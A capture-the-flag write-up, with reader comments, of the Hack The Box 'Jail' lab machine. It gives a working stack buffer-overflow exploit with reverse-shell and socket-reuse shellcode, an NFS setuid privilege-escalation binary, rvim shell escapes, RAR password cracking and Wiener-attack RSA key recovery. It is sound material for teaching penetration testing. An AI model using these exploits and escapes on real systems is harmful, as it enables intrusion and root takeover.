Jail write-up by Booj

Introduction

This box is long! It’s got it all, buffer overflow’s, vulnerable software version, NFS exploits and cryptography. This is a difficult box, not in the techniques it has you apply, but rather in the scope of them. There’s a lot covered in this write-up so in order to keep it relatively concise I’ve included a few links in the references section. I’ll also be mirroring this on my blog so any amendments or mistakes I’ve made will likely be fixed there.

Enumeration

Nmap scan as is tradition.

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey: 
|   2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
|_  256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
80/tcp   open  http       Apache httpd 2.4.6 ((CentOS))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3,4         2049/tcp  nfs
|   100003  3,4         2049/udp  nfs
|   100005  1,2,3      20048/tcp  mountd
|   100005  1,2,3      20048/udp  mountd
|   100021  1,3,4      44459/udp  nlockmgr
|   100021  1,3,4      46298/tcp  nlockmgr
|   100024  1          39149/udp  status
|   100024  1          53848/tcp  status
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
2049/tcp open  nfs_acl    3 (RPC #100227)
7411/tcp open  daqstream?
| fingerprint-strings: 
|   DNSStatusRequest, DNSVersionBindReq, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, WMSRequest, X11Probe, afp, giop, oracle-tns: 
|_    OK Ready. Send USER command.

Visiting port 80 just shows a nondescript jail cell, drawn in ascii art. Connecting to port 7411 on telnet reveals an odd authentication program, but no strings to suggest easy exploitation or a vulnerable service.

root@kali:~# telnet 10.10.10.34 7411
Trying 10.10.10.34...
Connected to 10.10.10.34.
Escape character is '^]'.
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS admin
ERR Authentication failed.
Connection closed by foreign host.

There’s also an NFS service exposed, which shows a couple of folders we can mount locally.

root@kali:~# showmount -e 10.10.10.34
Export list for 10.10.10.34:
/opt          *
/var/nfsshare *

Enumerating these didn’t reveal much however.

O Brother, Where Art Thou?

We run a dirbuster on port 80, which after a long wait reveals a directory entitled jailuser, with a folder called dev at the location. Inside this folder we see three interesting files.

If we have a look inside jail.c, we’ll see that it’s the code for the service exposed on port 7411, which is quite handy.

    printf("OK Ready. Send USER command.\n");
    fflush(stdout);
    while(1) {

Maybe there’s credentials, or some vulnerability we can exploit? Credentials are pretty obvious from the code, and they’re admin:1974jailbreak but if we actually use them there doesn’t appear to be much we can actually do with the application.

int auth(char *username, char *password) {
    char userpass[16];
    char *response;
    if (debugmode == 1) {
        printf("Debug: userpass buffer @ %p\n", userpass);
        fflush(stdout);
    }
    if (strcmp(username, "admin") != 0) return 0;
    strcpy(userpass, password);
    if (strcmp(userpass, "1974jailbreak!") == 0) {
        return 1;
    } else {
        printf("Incorrect username and/or password.\n");
        return 0;
    }
    return 0;
}

Look closer however and we see something interesting. With the statement strcpy(userpass, password) the password we input is copied into a buffer of length 16…but there’s no checks made on the length of the password itself that we input. It’s merely assumed to be the same length. Can we smash the stack?

Smashing the stack

To confirm the approach, I looked at the compile.sh file, and indeed we see that there’s stack protections removed. We can execute upon the stack.

gcc -o jail jail.c -m32 -z execstack
service jail stop
cp jail /usr/local/bin/jail
service jail start

Even more helpful is the debug functionality, which we can see in the code above. It will directly print out the address of the vulnerable buffer, so the issues of performing a remote buffer overflow are removed. Excellent, so this should be simple…right?

Also included is a copy of the binary, so we’ll download this and debug it locally. If you’re using GDB however, a quick point of note. This binary works by forking itself on each server call; in the event of a crash the primary process will still run. Use the below mode in GDB to make the process debug the forked process. You can also use the inferior command to debug the forked process or return to the primary.

(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off

Finding the EIP overflow point in the PASS parameter is quite simple, just use your favourite pattern generator. We pass in a pattern, in this case from metasploit’s pattern create and are greeted with a segmentation fault.

Thread 2.1 "jail" received signal SIGSEGV, Segmentation fault.
0x62413961 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0xfbad0084	-72548220
edx            0xf7faf870	-134547344
ebx            0x0	0
esp            0xffffcba0	0xffffcba0
ebp            0x41386141	0x41386141
esi            0x1	1
edi            0xf7fae000	-134553600
eip            0x62413961	0x62413961
eflags         0x10246	[ PF ZF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb) 

Inputting the value in register $eip into the pattern offset script returns us our EIP offset of 28 bytes.

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 62413961
[*] Exact match at offset 28

So…plan of action. We’ll write in a buffer of 28, write our return address to the address of the userpass buffer+32, and then write our shellcode, which we’ll just generate using msfvenom.

Here’s my exploit for testing it on a binary running locally:

#!/usr/bin/python
import socket
import sys
import struct

def conv(num):
    return struct.pack("<I", num)

host = "127.0.0.1"
port = 7411
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)

try:
    s.connect((host, port))
except:
    print "Unable to Connect"
    sys.exit()

print "Connected"
sys.stdout.write(s.recv(1024).decode())

s.send("USER admin")
print("Sending Admin User")
sys.stdout.write(s.recv(1024).decode())
        
s.send("DEBUG")
data = s.recv(1024).decode()
print(data)


buf = "A"*28
buf += conv(0xFFFFCbf0) #may need to adjust this
buf += "\x90"*10
#msfvenom reverse shell
buf += "\xdb\xd4\xd9\x74\x24\xf4\x58\xbd\x2d\xe9\xdf\xc5\x29"
buf += "\xc9\xb1\x19\x83\xe8\xfc\x31\x68\x16\x03\x68\x16\xe2"
buf += "\xd8\xd8\x04\x32\xc1\x48\xf8\xee\x6f\x6d\x4e\x76\xe6"
buf += "\x90\x63\xf7\x7d\x92\x04\xbc\xea\x48\x9d\xfc\xbc\x1a"
buf += "\xdc\x95\xbe\xe4\xcf\x39\x37\x05\x85\xa7\x1f\x96\x0b"
buf += "\x7f\x16\xf7\xef\xb2\xa8\x7d\x2f\x34\x8f\xcf\xb7\x7c"
buf += "\xcf\x3f\xb8\x7e\x46\xdc\x79\x95\x54\xe2\x99\x66\xd4"
buf += "\x99\x90\xf7\x91\xa2\x53\xe8\xc2\xab\x45\x91\x42\xa7"
buf += "\x35\xa1\x67\x38\xb0\x66\x0f\x3b\x44\x87\x57\x3a\xba"
buf += "\x48\xa7\x86\xbb\x48\xa7\xf8\x76\xc8"

print(len(buf))
s.send("PASS "+buf)
data = s.recv(1024).decode()
sys.stdout.write(data)
s.close()

Don’t forget a nopsled to be safe! I’ve kept this section short and sweet as going over the exploit process is going to balloon this writeup, and it’s really not that different from your standard stack buffer overflow. I’ll include a few links at the bottom to assist you brushing up on buffer overflow exploits.

So at this point we should just be able to change the value returned from the remote DEBUG into the EIP and then run it? WRONG!

I attempted every variation I could think of, but nothing was returning a shell remotely. Everything was fine locally but nada if I ran it against Jail. The only explanation at this point could be that there was egress filtering in play. Adjusting to common ports did nothing, so we have to get clever.

https://www.exploit-db.com/exploits/34060/

I’ll be the first to admit I’m not the best at reading shellcode, but from a cursory glance, this gets the last used socket and attaches it’s file descriptors to an instance of /bin/sh. Rather than create a brand new reverse connection back, we’ll just use the file descriptors and socket we used to connect, allowing us to avoid creating a brand new connection. A good description of a similar technique is found here

I’d highly recommend taking advantage of pwntools for this exploit, as it makes the process of dealing with terminal read and write so much easier. It’ll just return on the same socket and return a shell in the terminal, so not much is required from us.

Here is my finalised exploit code.

from pwn import *
import struct
shellcode = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
shellcode+="\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
shellcode+="\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
shellcode+="\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode+="\x89\xe3\x31\xc9\xcd\x80"
payload = "A"*28 + struct.pack("<I",0xffffd610 + 32) + shellcode
r = remote('10.10.10.34', 7411)
r.sendline('DEBUG')
print r.recv(1024)
r.sendline('USER admin')
print r.recv(1024)
r.sendline('PASS ' + payload)
r.interactive()

As we see here, all we need to do is pass r.interactive() to return control to us in the terminal and use our resulting shell.

root@kali:~# python jail.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
OK Ready. Send USER command.

OK DEBUG mode on.

[*] Switching to interactive mode
OK Send PASS command.
Debug: userpass buffer @ 0xffffd610
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

We have a shell but we’re running as the user nobody.

Becoming Somebody

Looking back to earlier, we saw that an NFS service was exposed on port 2049. Let’s have a quick look at the exports file to confirm what’s available.

$ cat exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)

We see something very interesting here in the no_all_squash option. Normally, if you connect to an NFS share, regardless of the permissions on your host OS, you’ll be considered an unprivileged user on the remote filesystem when connecting. By enabling the root_squash we can’t just get root privileges on the remote filesystem. However, no_all_squash is enabled we can be authorized as any other user.

This is quite convenient as a quick look at /var/nfsshare’s permissions reveals something very interesting.

drwx-wx--x.  2 root frank    6 Jul  3 20:33 nfsshare

The group is frank, but the drwx-wx--x permissions indicate that he can write to this folder, and any user can execute in this folder. Since the user frank can write to this folder, and the no_all_squash option is enabled for this NFS share, we just need to mount this directory as the user frank and we’ll be able to write to it.

So lets go over the battle-plan here. If we create a user of the same uid as frank and mount the NFS share on our local pc as that user. We can then write an executable to the directory, set it’s permissions to setuid and then in our remote shell, since any user can execute in this folder, we just run the new setuid binary we’ve created. Bish bash bosh!

It might sound a bit confusing but lets show the process. Make sure you install NFS tools as they’re not available on the default Kali.

sudo apt install nfs-common

We confirm Frank’s GID from the remote system.

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
-------SNIP-----------------------------
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

It’s 1000, so we’ll just create a user with UID 1000 and GID 1000, on our local box.

Local Actions

root@kali:~# useradd frank
root@kali:~# passwd frank
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
root@kali:~# su - frank
No directory, logging in with HOME=/
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
------SNIP------------
Debian-snmp:x:113:116::/var/lib/snmp:/bin/false
frank:x:1000:1000::/home/frank:/bin/sh

Excellent, we’ve created a user frank with UID 1000 and GID 1000. We then want to mount the remote nfsshare directory (do this as root on your local machine).

root@kali:~# mkdir /tmp/nfsshare
root@kali:~# mount -t nfs 10.10.10.34:/var/nfsshare /tmp/nfsshare

We then switch to our user frank and create a setuid binary. For this I’ll be using the following code to generate the binary.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( int argc, char *argv[] )
{
	setreuid(1000, 1000);
	printf("ID: %d\n", geteuid());
	execve("/bin/sh", NULL, NULL);
}	

So we switch to user frank, create the setuid file and compile it with gcc. We then set the setuid flag on the binary, so anyone running it will run it as user frank.

root@kali:~# su - frank
No directory, logging in with HOME=/
$ cd /tmp/nfsshare
$ vim setuid.c
No protocol specified
$ gcc setuid.c -o setuid
$ chmod u+s setuid

Remote Actions

Now on the remote machine, we just run the binary we’ve uploaded to the directory and voila!

$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
$ nfsshare/setuid
$ id
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

We’ve achieved user! It’s not going to get much easier from here though!

Privilege Escalation

After some enumeration, we see that the sudo permissions for frank look interesting.

$ sudo -l
Matching Defaults entries for frank on this host:
    !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME
    HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
    LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
    LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS
    _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User frank may run the following commands on this host:
    (frank) NOPASSWD: /opt/logreader/logreader.sh
    (adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

So I can either run /opt/logreader/logreader.sh as myself with no password…brilliant! Or we can use a restricted version of vim called rvim on the jail.c file as user adm. Let’s go down that route.

Rvim Escape 1

$ sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

My first port of call was checking the version of vim that was installed.

:version
 version
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Dec 21 2016 17:00:20)
Included patches: 1-160
Modified by <bugzilla@redhat.com>
Compiled by <bugzilla@redhat.com>
Huge version without GUI.  Features included (+) or not (-):
+acl+farsi+mouse_netterm   +syntax
+arabic+file_in_path    +mouse_sgr+tag_binary
+autocmd+find_in_path    -mouse_sysmouse  +tag_old_static
-balloon_eval    +float+mouse_urxvt     -tag_any_white
-browse+folding+mouse_xterm     -tcl
++builtin_terms  -footer+multi_byte      +terminfo
+byte_offset     +fork()+multi_lang      +termresponse
+cindent+gettext-mzscheme+textobjects
-clientserver    -hangul_input    +netbeans_intg   +title
-clipboard+iconv+path_extra      -toolbar
+cmdline_compl   +insert_expand   +perl+user_commands
+cmdline_hist    +jumplist+persistent_undo +vertsplit
+cmdline_info    +keymap+postscript      +virtualedit
+comments+langmap+printer+visual
+conceal+libcall+profile+visualextra
+cryptv+linebreak+python/dyn      +viminfo
+cscope+lispindent      -python3+vreplace

Not much jumps out but we know it’s version 7.4, patch number 1-160 and was compiled on December 21 2016. A browse through the vim issues revealed the following interesting bypass.

This was submitted on March 8th 2017, so this version of vim is likely still vulnerable. We just have to pass the following command into rvim:

:diffpatch $(sh <&2 >&2)

From this we’ll be returned a shell as the adm user.

$ id
uid=3(adm) gid=4(adm) groups=4(adm) context=system_u:system_r:unconfined_service_t:s0

Rvim Escape 2

The intended method, is just to abuse the python feature of rvim. Since you can execute python commands, getting a shell is as trivial as running the following in the same manner as above:

:py import os
:py os.system("/bin/bash")

Keys to the Kingdom

First port of call as our brand spanking new user is to check the home directory.

$ cd ~
$ pwd
/var/adm
$ ls -la
total 4
drwxr-x---.  3 root adm    19 Jul  3 09:11 .
drwxr-xr-x. 23 root root 4096 Dec 28 18:00 ..
drwxr-x---.  3 root adm    52 Jul  3 11:37 .keys

That’s quite an interesting directory. Here I’ll just view the contents and display the full output.

$ cd .keys
$ ls -la
total 8
drwxr-x---. 3 root adm  52 Jul  3 11:37 .
drwxr-x---. 3 root adm  19 Jul  3 09:11 ..
drwxr-x---. 2 root adm  20 Jul  3 11:39 .local
-rw-r-----. 1 root adm 475 Jul  3 11:36 keys.rar
-rw-r-----. 1 root adm 154 Jul  3 09:09 note.txt
$ cat note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
$ cd .local
$ ls -la
total 4
drwxr-x---. 2 root adm  20 Jul  3 11:39 .
drwxr-x---. 3 root adm  52 Jul  3 11:37 ..
-rw-r-----. 1 root adm 113 Jul  3 11:39 .frank
$ cd .frank
sh: line 16: cd: .frank: Not a directory
$ cat .frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

Okay lets deal with these things one at a time. I’m going to assume this rar file is encrypted but it doesn’t hurt to doublecheck. For this I’ll just convert it to base64.

$ base64 keys.rar
UmFyIRoHAM+QcwAADQAAAAAAAAALnXQkhEAAgAEAAMMBAAAD7rRLW0tk40odMxgApIEAAHJvb3Rh
dXRob3JpemVkc3Noa2V5LnB1YnI+qg+QiYZnpO86O3+rX46ki9CMd7+qCC09p9xDL5gF8Wgwc7mZ
K9wkiTpvXO4vmmM50barFVJi55jD3l9J8var5iMCb8+Lrpn2e79rXFKzktBJ2e3/cSLUZRSv33cQ
Fk2+9b43PDDjUD6IQ6FVbjc72sy6/8bMu7k8MYtJWFRHsLTwIXi0ZMrd/vydVFq7vQiUPYbt7H0S
scXY4crEf9ann9iQyl6V034tluMZ9VQ6DmkXk53ekSbb3/Ck5/1hb9qj2RpBQUNTW70fQIbDXjcO
p+qKerl8cfpDdo7JDRZbmJBuYd5zgFEASKHrew3spqQ/gZrNO6m/VvI/ZUa6DTmqhguHYKC838c9
JzzDmW52daeuPMZtdTz2B0Enz5eBdV2XLbofx6ZA3nIYco6DJMvU9NxOfaLgnTj/JWRVAgUjoEgQ
UdcyWDEWoDYh+ARbAfG+qyqRhF8ujgUqYWNbXY8FxMsrTPdcWGz8348OZsMWH9NS5S8/KeIoGZU1
YhfpP/6so4ihWCnWxD17AEAHAA==

Now I’ll just decode it on my local machine.

root@kali:~# echo UmFyIRoHAM+gApIEAAHJvb3RhdXRob3JpemVkc3Noa2V5LnB1YnI+qg+QiYZnpO86O3+rX46ki9CMd7+qCC09p9xDL5gF8Wgwc7mZK9wkiTpvXO4vmmM50barFVJi55jD3l9J8var5iMCb8+Lrpn2e79rXFKzktBJ2e3/cSLUZRSv33cQFk2+9b43PDDjUD6IQ6FVbjc72sy6/8bMu7k8MYtJWFRHsLTwIXi0ZMrd/vydVFq7vQiUPYbt7H0SscXY4crEf9ann9iQyl6V034tluMZ9VQ6DmkXk53ekSbb3/Ck5/1hb9qj2RpBQUNTW70fQIbDXjcOp+qKerl8cfpDdo7JDRZbmJBuYd5zgFEASKHrew3spqQ/gZrNO6m/VvI/ZUa6DTmqhguHYKC838c9JzzDmW52daeuPMZtdTz2B0Enz5eBdV2XLbofx6ZA3nIYco6DJMvU9NxOfaLgnTj/JWRVAgUjoEgQUdcyWDEWoDYh+ARbAfG+qyqRhF8ujgUqYWNbXY8FxMsrTPdcWGz8348OZsMWH9NS5S8/KeIoGZU1YhfpP/6so4ihWCnWxD17AEAHAA== | base64 -d > keys.rar
root@kali:~# unrar x keys.rar

UNRAR 5.50 freeware      Copyright (c) 1993-2017 Alexander Roshal


Extracting from keys.rar

Enter password (will not be echoed) for rootauthorizedsshkey.pub: 

Okay looks like we’ll need a password for this file. Maybe the other two files above will give us a clue.

Sub me in Coach

The notes.txt file tells us the format of the password required for users on this system.

Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.

The second interesting file is the .frank file which appears to be encoded in some way.

Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

A cursory look at the file tells us it’s likely encoded with a substitute cipher. What tells us this? There are repeated characters in the first word; Szszsz is Hahaha in all likelihood and the punctuation is untouched so it’s not using any modern encryption techniques. The repeated keys there also indicate it’s a single key, pushing us very strongly to suspect it’s a substitution cipher.

To test this theory, we’ll use quipqiup with the included hints.

Looks like we were on the money as the top result is:

Hahaha! Nobody will guess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!

Morris, Captain Frank Morris

There’s really only one thing this can be hinting to, the infamous 1962 Alcatraz escape in which three prisoners escaped from the Alcatraz prison. A man named Frank Morris was one of the escapees, and is likely the Frank we’ve seen mentioned so often in our journey through this box.

So we know his last name, and I’ll make an educated guess that he would have chosen the date of his escape as his four digits. All we have left to brute-force is the special character. For this we’ll use crunch.

root@kali:~# crunch 11 11 -o jail-wlist -f /usr/share/crunch/charset.lst symbols-all -t Morris1962@ 

We’ll then convert our rar file to a format that john the ripper and then run our wordlist over the file.

root@kali:~# rar2john keys.rar > jailhash
file name: rootauthorizedsshkey.pub
root@kali:~# john --format=rar --wordlist=jail-wlist jailhash
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 AES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Morris1962!      (keys.rar)
1g 0:00:00:00 DONE (2017-12-28 22:32) 20.00g/s 20.00p/s 20.00c/s 20.00C/s Morris1962!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We have our password of Morris1962!. Lets unrar the file and see the public key.

root@kali:~/jail# cat rootauthorizedsshkey.pub 
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQYHLL65S3kVbhZ6kJnpf072
YPH4Clvxj/41tzMVp/O3PCRVkDK/CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//
DmcIo1pJGKy8LDrwdpsSjVmvSgg39nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6Pd
D/qlaFM8B87MHZlW1fqe6QKBgQVY7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/w
Wt2/7A1Xgi5ckTFMG5EXhfv67GfCFE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAx
I85LArqOGc6QoVPS7jx5h5bK/3Oqm3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFug
a99GCw==
-----END PUBLIC KEY-----

Breaking RSA Keys

It’s still a public key, whereas we’re really looking for the private, so we see if it’s weak to any obvious attacks. My choice here is RsaCtfTool, as it has most basic attacks implemented.

root@kali:~/jail/RsaCtfTool# ./RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private --verbose
[*] Performing hastads attack.
[*] Performing factordb attack.
[*] Performing pastctfprimes attack.
[*] Loaded 71 primes
[*] Performing noveltyprimes attack.
[*] Performing smallq attack.
[*] Performing wiener attack.
-----BEGIN RSA PRIVATE KEY-----
MIICOgIBAAKBgQYHLL65S3kVbhZ6kJnpf072YPH4Clvxj/41tzMVp/O3PCRVkDK/
CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//DmcIo1pJGKy8LDrwdpsSjVmvSgg3
9nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6PdD/qlaFM8B87MHZlW1fqe6QKBgQVY
7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/wWt2/7A1Xgi5ckTFMG5EXhfv67GfC
FE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAxI85LArqOGc6QoVPS7jx5h5bK/3Oq
m3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFuga99GCwIgCMdb8cTpq+uOUyIK2Jrg
PNxrCGF8HNhw8qT9jCez3aMCQQHBKGne1ibAwbqvPTd91cBUKfFYYIAY9a6/Iy56
XnGBS35kpKZB7j5dMZxxOwPDowgZr9aGNAzcFAeCaP5jj3DhAkEDb4p9D5gqgSOc
NXdU4KxzvZeBQn3IUyDbJ0J4pniHZzrYq9c6MiT1Z9KHfMkYGozyMd16Qyx4/Isf
bc51aYmHCQIgCMdb8cTpq+uOUyIK2JrgPNxrCGF8HNhw8qT9jCez3aMCIAjHW/HE
6avrjlMiCtia4DzcawhhfBzYcPKk/Ywns92jAkEBZ7eXqfWhxUbK7HsKf9IkmRRi
hxnHNiRzKhXgV4umYdzDsQ6dPPBnzzMWkB7SOE5rxabZzkAinHK3eZ3HsMsC8Q==
-----END RSA PRIVATE KEY-----

It’s vulnerable to the Wiener attack and we have a brand new private key. We’ll now attempt to SSH in to the box.

root@kali:~# vim id_rsa
root@kali:~# chmod 0600 id_rsa
root@kali:~# ssh -i id_rsa 10.10.10.34
The authenticity of host '10.10.10.34 (10.10.10.34)' can't be established.
ECDSA key fingerprint is SHA256:i8ngSBp54+Lz0QCHj6yX+qsYfbMSY4mz5Gh3mNdb9HM.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.34' (ECDSA) to the list of known hosts.
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost ~]# 

At long last…we’re root!!!

I hope you enjoyed my writeup, if you have any questions don’t hesitate to drop me a message.

References

NFS Security
Rvim Bypass #1
Rvim Bypass #2
quipqiup

Buffer Overflow Resources

https://reboare.github.io/bof/linux-stack-bof-1.html
https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

Great post!

Good wu mate !

Well done
Keep posting :slight_smile:

Thanks very usefull)

why using setruid when setresuid works ?

@peek said:
why using setruid when setresuid works ?

Why not? Both work :slight_smile:

good work mate!
here is i have wrote writeup do let me know … :slight_smile:
http://0xahmed.ninja/hack-box-jail-machine-writeup/

##Rvim Escape 3
You didn’t even need a shell as adm. When you sudo rvim as adm (being frank), you can open the internal (r)vim visual file explorer with ESC :e..

From there, you can browse and open any file you want, including binaries (obviously if you have the permissions as adm) and save them where you like. For example in /tmp, that is 0777, umasked 0022, so you can read them as frank.

P.S. I didn’t know the :py trick and I didn’t know the :diffpatch trick. But, to be honest, I don’t even know if this :e. trick is documented somewhere. Does anyone know it?